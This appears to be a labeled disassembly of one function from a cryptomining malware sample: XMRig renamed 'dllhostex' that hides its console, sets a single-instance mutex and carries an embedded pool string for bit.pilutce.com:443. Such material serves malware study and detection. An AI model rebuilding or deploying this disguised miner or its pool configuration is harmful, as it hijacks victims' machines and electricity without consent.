Function at 0x50b100
Capabilities:
Check mutex on windows
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51cc98
mov eax, dword fs:[0]
push eax
sub esp, 0x874
mov eax, dword [0x53c074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x800
lea eax, [ebp - 0x810]
push 0
push eax
call fcn.004c6150
add esp, 0xc
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.v__o_bit.pilutce.com:443__u_bit1__p_x__t_1___donate_level1___nicehash]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x811], al
test al, al
jne 0x50b150
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x40
xor esi, esi
lea eax, [ebp - 0x850]
push esi
push eax
call fcn.004c6150
lea eax, [ebp - 0x810]
push 0x5308a4
push eax
call fcn.004cdb1f
add esp, 0x14
test eax, eax
je 0x50b1cd
mov dword [ebp - 0x850], eax
mov esi, 1
nop word [eax + eax]
push 0x530988
push 0
call fcn.004cdb1f
add esp, 8
test eax, eax
je 0x50b1cd
mov dword [ebp + esi*4 - 0x850], eax
inc esi
jmp 0x50b1b0
push str.B8A7AE22_7F59_CDE5_71F9C2A
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete al
test edi, edi
je 0x50b202
test al, al
je 0x50b202
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x850]
push eax
push esi
lea ecx, [ebp - 0x868]
call fcn.004e8370
push 0
call fcn.004cba7b
lea ecx, [ebp - 0x868]
xor eax, ecx
push eax
call fcn.004cb9e5
add esp, 8
push 0x52c300
lea ecx, [ebp - 0x868]
mov dword [ebp - 4], 0
call fcn.004e8550
test al, al
jne 0x50b403
push str.__help
lea ecx, [ebp - 0x868]
call fcn.004e8550
test al, al
jne 0x50b403
push 0x52c30c
lea ecx, [ebp - 0x868]
call fcn.004e8550
test al, al
jne 0x50b3fc
push str.__version
lea ecx, [ebp - 0x868]
call fcn.004e8550
test al, al
jne 0x50b3fc
mov byte [ebp - 4], 1
push 8
mov dword [ebp - method.xmrig::App.1.virtual_0], vtable.xmrig::App.1.0
mov dword [ebp - method.xmrig::App.virtual_0], vtable.xmrig::App.0
mov dword [ebp - 0x878], 0
mov dword [ebp - 0x870], 0
mov dword [ebp - 0x86c], 0
call fcn.004c3728
mov esi, eax
mov dword [ebp - 0x854], esi
mov byte [ebp - 4], 2
push 0x18
mov dword [esi], vtable.xmrig::Controller.0
call fcn.004c3728
mov dword [ebp - 0x854], eax
lea ecx, [ebp - 0x868]
add esp, 8
mov byte [ebp - 4], 1
mov dword [eax + 8], ecx
mov ecx, esi
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
mov dword [esi + 4], eax
mov dword [ebp - 0x874], esi
call fcn.004f32b0
test eax, eax
jne 0x50b3db
mov eax, dword [ebp - 0x874]
mov eax, dword [eax + 4]
mov eax, dword [eax]
mov al, byte [eax + 0x14]
test al, al
jne 0x50b3db
push 0xcc
call fcn.004c3728
mov esi, eax
add esp, 4
mov dword [ebp - 0x854], esi
mov byte [ebp - 4], 3
lea eax, [ebp - 0x880]
mov ecx, dword [0x5459f4]
mov dword [esi + 4], eax
mov dword [esi + 8], esi
test ecx, ecx
jne 0x50b39b
call fcn.004ab930
test eax, eax
je 0x50b38c
xor ecx, ecx
jmp 0x50b39b
mov dword [0x5459f4], 0x5459f8
mov ecx, 0x5459f8
push 1
push 0
lea edx, [esi + 8]
call fcn.004ac0e0
add esp, 8
test dword [esi + 0x34], 0x4000
je 0x50b3d5
mov edx, 1
lea ecx, [esi + 8]
call fcn.004ac420
push 0x4eada0
mov edx, 0x4eade0
lea ecx, [esi + 8]
call fcn.004b1b50
add esp, 4
mov dword [ebp - 0x878], esi
lea ecx, [ebp - 0x880]
mov byte [ebp - 4], 4
call fcn.004e4e50
lea ecx, [ebp - 0x880]
mov ebx, eax
call fcn.004e5240
jmp 0x50b4ba
mov eax, 2
jmp 0x50b408
mov eax, 1
sub eax, 1
je 0x50b4ab
sub eax, 1
je 0x50b420
mov ebx, 1
jmp 0x50b4ba
push str.dllhostex_6.3.9600.16384_n_built_on_Mar_15_2019_with_MSVC
call fcn.004022a0
push 0x7e1
push 0x52c2c8
call fcn.004022a0
push str._n_features:_32_bit_AES_n
call fcn.004022a0
push str.1.23.0
push str._nlibuv__s_n
call fcn.004022a0
add esp, 0x18
cmp byte [0x545cd0], 0
jne 0x50b496
push 0x59
push 9
push 0
push str._x._x._x
push 0xc
push 0x545cd0
call fcn.00401160
add esp, 0x18
test eax, eax
jle 0x50b481
cmp eax, 0xc
jb 0x50b496
mov eax, str.0.0.0
push eax
push str.microhttpd__s_n
call fcn.004022a0
add esp, 8
jmp 0x50b4b8
mov eax, 0x545cd0
push eax
push str.microhttpd__s_n
call fcn.004022a0
add esp, 8
jmp 0x50b4b8
push str._______dllhostex___________n_________n________________________________________________________n_________________________________________n______________________________________________n_______________________________________________n___n___n___n___n___n___n___n___n___n___n___n___n___n___n___n___n___n___n___n___n___n___n___n_______n_______n_______n_______n_______n_______n_______n_______n_______n_______n_______n_______n_______n
call fcn.004022a0
add esp, 4
xor ebx, ebx
mov esi, dword [ebp - 0x860]
test esi, esi
je 0x50b516
mov edi, dword [ebp - 0x85c]
cmp esi, edi
je 0x50b4e7
nop
push dword [esi]
call fcn.004c3789
add esi, 8
add esp, 4
cmp esi, edi
jne 0x50b4d0
mov esi, dword [ebp - 0x860]
mov ecx, dword [ebp - 0x858]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffff8
cmp ecx, 0x1000
jb 0x50b50c
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x50b534
push ecx
push esi
call fcn.004c3758
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004c3717
mov esp, ebp
pop ebp
ret
call fcn.004cb7b1
int3